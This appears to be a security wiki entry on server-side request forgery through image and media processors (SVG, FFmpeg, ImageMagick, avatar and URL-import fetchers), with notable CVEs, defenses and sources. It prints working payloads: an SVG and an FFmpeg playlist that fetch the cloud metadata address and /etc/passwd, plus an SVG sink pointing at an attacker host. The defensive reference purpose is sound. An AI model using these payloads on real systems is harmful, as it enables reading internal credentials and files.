SSRF in Image and Media Processors
Image/media pipelines (SVG rasterizers, ImageMagick, FFmpeg, image proxies/resizers, avatar- and import-from-URL features) fetch remote and local resources while “processing” a file, turning uploads and URL parameters into outbound requests.
How it works
Two entry points dominate:
- URL-based fetch — avatar/profile-picture “import from URL”, link-preview/OG-image unfurling, image resizers and CDN proxies (Thumbor, imgproxy, Camo, Next.js
/_next/image), document/website import. The server fetches an attacker-chosen URL; classic SSRF (internal services,169.254.169.254). These fetchers frequently follow redirects and re-resolve DNS, enabling open-redirect and DNS Rebinding bypasses. - Content-driven fetch — the uploaded asset itself references external/local resources during parsing: SVG (XML with XLink,
<use>,<image>, stylesheets, XSLT,foreignObject), FFmpeg HLS/concatdemuxers, ImageMagick delegates (ImageTragick), Ghostscript, LibreOffice. Upload filters are weak: send an SVG with aimage/jpegMIME and.jpgfilename; servers claiming not to accept SVG often still parse it (MIME-sniffing confusion, TOCTOU double-fetch).
Techniques / payloads
SVG (server-side rasterizer fetches the referenced URI — http(s), file:, php://, data:):
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image xlink:href="http://169.254.169.254/latest/meta-data/" height="200" width="200"/>
</svg>Other SVG sinks: <use xlink:href="http://attacker/f.svg#x"/>, <link rel=stylesheet href=...>, <style>@import url(...)</style>, <?xml-stylesheet href="http://.../x.xsl" type="text/xsl"?> (works in Chrome-based renderers), <foreignObject>/<object>/<embed>, and XXE via DTD if the parser allows external entities. Library fingerprinting (Arbaz Hussain): probe file:/// paths to known local images per distro/package; a callback or rendered image reveals which libraries/versions are installed.
FFmpeg via a crafted “video” (.mp4) that is actually an M3U8/HLS playlist — #EXTINF + concat: reaches HTTP and local files, output leaks into the generated thumbnail:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://169.254.169.254/latest/meta-data/|file:///etc/passwd
#EXT-X-ENDLIST
(ffmpeg -i video.mp4 thumbnail.png then dump the frame; classic Launchpad #1533367 class).
Avatar/proxy fetch: point the import URL at internal hosts; blind variants become a port scanner via response-time/size/error oracles (Cobalt: avatar SSRF → internal port scan). Bypass domain allowlists with an open redirect on an allowlisted host, or IP Address Encoding Bypasses / DNS Rebinding.
Notable cases
- CVE-2026-58141 (Dify < 1.15.0): Squid proxy defined only source ACLs (no destination deny rules) and
make_request()did no independent destination-IP check;GET/POST /console/api/remote-files/, the HTTP Request workflow node, website crawl, and import-from-URL reach internal APIs, the sandbox, PostgreSQL, and AWS IMDS — HTTP Request node even allows POST/PUT/DELETE writes. - Thumbor and other resizers appear in “The Validator Can Lie” as validator/fetcher differential cases (dual-stack A-vs-AAAA, NAT64, authority-emission mismatches) — URL validation alone fails to bind the approved address to the connection. See URL Parser Differentials.
- Zipline < 4.8.3 (CVE-2026-134805): avatar import from the OIDC userinfo
pictureclaim; a user who controls that claim at the IdP makesfetchToDataURL()request internal or metadata URLs and reads the response back as the stored avatar (GHSA-phxh-jprj-5xjw). - Profile-picture upload is a recurring first-bug blind SSRF: swap the raw image body for a malicious SVG and watch for internal-network callbacks.
Defenses
- Re-encode images through a safe library, strip/deny SVG and XML entities, disable ImageMagick coders/delegates (policy.xml), restrict FFmpeg protocols (
-protocol_whitelist file,crypto), never feed untrusted playlists. - For URL fetchers: allowlist destinations, block private/link-local ranges, disable redirects or re-validate each hop, and resolve-then-pin to defeat rebinding (SSRF Prevention).
- Treat “import from URL” and resizer params as full SSRF sinks; enforce IMDSv2.
Related
- Server-Side Request Forgery
- SSRF in PDF and HTML Renderers
- DNS Rebinding
- URL Parser Differentials
- Open Redirect to SSRF
- Local File Read via SSRF
- Partial SSRF
Sources
- SVG XLink SSRF fingerprinting libraries version · original
- allanlw/svg-cheatsheet: A cheatsheet for exploiting server-side SVG processors · original
- My First Bug: Blind SSRF Through Profile Picture Upload · original
- SSRF Bible (FFmpeg HLS/concat, SSRF prevention) · original
- CVE-2026-58141: Dify SSRF bypasses proxy destination controls · original
- The Validator Can Lie: SSRF Beyond URL Validation (Thumbor, Mealie, GitLab) · original
- From SSRF to Port Scanner (Cobalt) · original
- Zipline before 4.8.3 server-side request forgery · original